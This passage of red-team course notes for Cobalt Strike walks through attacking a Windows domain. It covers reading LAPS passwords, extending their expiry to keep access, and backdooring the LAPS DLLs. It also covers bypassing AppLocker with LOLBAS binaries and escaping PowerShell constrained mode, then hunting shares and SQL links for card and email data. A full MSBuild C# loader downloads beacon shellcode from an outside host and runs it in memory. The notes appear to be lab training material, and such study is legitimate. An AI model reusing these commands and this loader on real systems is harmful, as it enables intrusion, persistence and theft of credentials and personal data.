beacon> powerpick Get-DomainGroupMember -Identity "DEV\Developers" -Domain dev.cyberbotic.io -Recurse

# 3.2 Use LAPS Toolkit to find groups that have delegated read rights at OU and Computer level

beacon> powershell-import C:\Tools\LAPSToolkit\LAPSToolkit.ps1

beacon> powerpick Find-LAPSDelegatedGroups

beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1

beacon> powerpick Get-DomainGroupMember -Identity "DEV\Developers" -Domain dev.cyberbotic.io -Recurse

# 3.3 Find-AdmPwdExtendedRights goes a little deeper and queries each individual computer for users that have "All Extended Rights". This will reveal any users that can read the attribute without having had it specifically delegated to them.

beacon> powerpick Find-AdmPwdExtendedRights

# 4. Reading LAPS Passwords or ms-Mcs-AdmPwd Attribute and using it to gain access.

# 4.1 View the LAPS password for given machine (From User Session having required rights)

beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1

beacon> powerpick Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd

beacon> powerpick Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

# 4.2 Use the laps password to gain access

beacon> make\_token .\LapsAdmin 1N3FyjJR5L18za

beacon> ls \\wkstn-1\c$

# 5. Modifying Password Expiration Protection for Persistence

# 5.1 Make sure that LAPS policy settings PwdExpirationProtectionEnabled is not enabled , then only we can set the Password Expiration to a longer time, else it will trigger a password reset.

PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol

# 5.2 Check the current Expiration time

beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

# 5.3 Set Far Future date as expiry (Only machine can set its Password) (Use www.epochconverter.com/ldap)

beacon> run hostname

beacon> getuid

beacon> powerpick Set-DomainObject -Identity wkstn-1 -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose

# 6. LAPS Backdoor

- Modify the AdmPwd.PS.dll and AdmPwd.Utils.dll file located at C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\ location to log the LAPS password everytime it is viewed by the admin user (Chevk Notes)

**AppLocker**

## Applocker Enumeration

# 1. On Local System

# 1.1 Using powershell on local system

beacon> powershell $ExecutionContext.SessionState.LanguageMode

# 1.2 Enumerate the Applocker policy via Local Windows registry on machine

PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2"

PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2\Exe"

# 2. From any system - Enumerate the Applocker policy via GPO

beacon> powerpick Get-DomainGPO -Domain dev-studio.com | ? { $\_.DisplayName -like "\*AppLocker\*" } | select displayname, gpcfilesyspath

beacon> download \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.pol

PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol

#-------------------------------------------------------------------------------------

## Writable Paths

# 1. Navigating Laterally via PSEXEC is fine, as service binary is uploaded in C:\Winodws path which is by default whitelisted.

# 2. Find the writable path within C:\winodws to bypass Applocker

beacon> powershell Get-Acl C:\Windows\Tasks | fl

# 3. In the default Applocker Policy , "C:\Windows" and "C:\Program Files" are whitelisted and we can run any binary from there, c:\Windows\Tasks is the directory where any standard user have write permissions.

# 4. When enumerating the rules, you may also find additional weak rules that system administrators have put in. For example

<FilePathCondition Path="\*\AppV\\*"/>

## Using LOLBAS to execute arbitrary code or Beacon Payload.

# If Applocker is enabled with strict policy, and most of the Binaries are not allowed to execute (like Powershell, External Binaries, Some specific directory binaries etc), then we can use Binaries From LOLBAS Project to execute our shellcode/payload/dll to get beacon.

# LOLBAS Project - https://lolbas-project.github.io/#/execute

#-------------------------------------------------------------------------------------

## Using MSBuild.exe to execute C# code from a .csproj or .xml file

# 1. Host http\_x64.xprocess.bin via Site Management > Host File

# 2. Start execution using command

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\MSBuild.exe test.csproj

# 3. Contents of test.csproj file, which us using a c# loader to download and execute shellcode.

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

<Target Name="MSBuild">

<MSBuildTest/>

</Target>

<UsingTask

TaskName="MSBuildTest"

TaskFactory="CodeTaskFactory"

AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >

<Task>

<Code Type="Class" Language="cs">

<![CDATA[

using System;

using System.Net;

using System.Runtime.InteropServices;

using Microsoft.Build.Framework;

using Microsoft.Build.Utilities;

public class MSBuildTest : Task, ITask

{

public override bool Execute()

{

byte[] shellcode;

using (var client = new WebClient())

{

client.BaseAddress = "http://nickelviper.com";

shellcode = client.DownloadData("beacon.bin");

}

var hKernel = LoadLibrary("kernel32.dll");

var hVa = GetProcAddress(hKernel, "VirtualAlloc");

var hCt = GetProcAddress(hKernel, "CreateThread");

var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa);

var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt);

var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000 | 0x00002000, 0x40);

Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);

var t = ct(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, IntPtr.Zero);

WaitForSingleObject(t, 0xFFFFFFFF);

return true;

}

[DllImport("kernel32", CharSet = CharSet.Ansi)]

private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);

[DllImport("kernel32", CharSet = CharSet.Ansi)]

private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]

private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]

private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]

private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

}

]]>

</Code>

</Task>

</UsingTask>

</Project>

#-------------------------------------------------------------------------------------

## Other LOLBAS Binaries that can be used to execute code can be found below

# LOLBAS Project - https://lolbas-project.github.io/#/execute

## Using MsEdge.exe to execute beacon ( it will pop a window which will be visible to user, To avoid that we can use --headless msedge)

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-gpu-sandbox --gpu-launcher="C:\Windows\Tasks\smb3\_x64.exe &&"

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu-sandbox --gpu-launcher="C:\Windows\Tasks\smb3\_x64.exe &&"

## Powershell Contrained Language Mode

# 1. Break out of PowerShell Constrained Language Mode by using an unmanaged PowerShell runspace

beacon> powershell $ExecutionContext.SessionState.LanguageMode

ConstrainedLanguage

beacon> powerpick $ExecutionContext.SessionState.LanguageMode

FullLanguage

# 2. We can also achieve the FullLanguage Mode using the LOLBAS, For that we can use the C# loader which can execute a powershell commands. And then add it to a .csproj or .xml file, and execute this using msbuild.exe.

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\MSBuild.exe test.csproj

#-------------------------------------------------------------------------------------

## Beacon DLL (DLLs are usually not restricted by Applocker due to performance reason)

# DLL enforcement is not commonly enabled which allows us to call exported functions from DLLs on disk via rundll32.

# Beacon's DLL payload exposes several exports including DllMain and StartW. These can be changed in the Artifact Kit under src-main, dllmain.def.

C:\Windows\System32\rundll32.exe http\_x64.dll,StartW

**Data Exfiltration**

# Enumerate Share

beacon> powerpick Invoke-ShareFinder

beacon> powerpick Invoke-FileFinder

beacon> powerpick Get-FileNetServer

beacon> shell findstr /S /I cpassword \\dc.organicsecurity.local\sysvol\organicsecurity.local\policies\\*.xml

beacon> Get-DecryptedCpassword

# Find accessible share having juicy information

beacon> powerpick Find-DomainShare -CheckShareAccess

beacon> powerpick Find-InterestingDomainShareFile -Include \*.doc\*, \*.xls\*, \*.csv, \*.ppt\*

beacon> powerpick gc \\fs.dev.cyberbotic.io\finance$\export.csv | select -first 5

# Search for senstive data in directly accessible DB by keywords

beacon> powerpick Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $\_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "email,address,credit,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize

# Search for senstive data in DB links

beacon> powerpick Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select \* from openquery(""sql-1.cyberbotic.io"", 'select \* from information\_schema.tables')"

beacon> powerpick Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select \* from openquery(""sql-1.cyberbotic.io"", 'select column\_name from master.information\_schema.columns where table\_name=''employees''')"

beacon> powerpick Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select \* from openquery(""sql-1.cyberbotic.io"", 'select top 5 first\_name,gender,sort\_code from master.dbo.employees')"

# Not able to migrate to another process using Inject Command (worked by choosing P2P

beacon)

# Was facing some issues with doing the lateral movement by SYSTEM User

- But if we have access to NTLM hash, we can directly use PTH and JUMP to move laterally

- Still Powerview functions don't work in this context, need to find a way

**Reference:**

<https://training.zeropointsecurity.co.uk/courses/red-team-ops>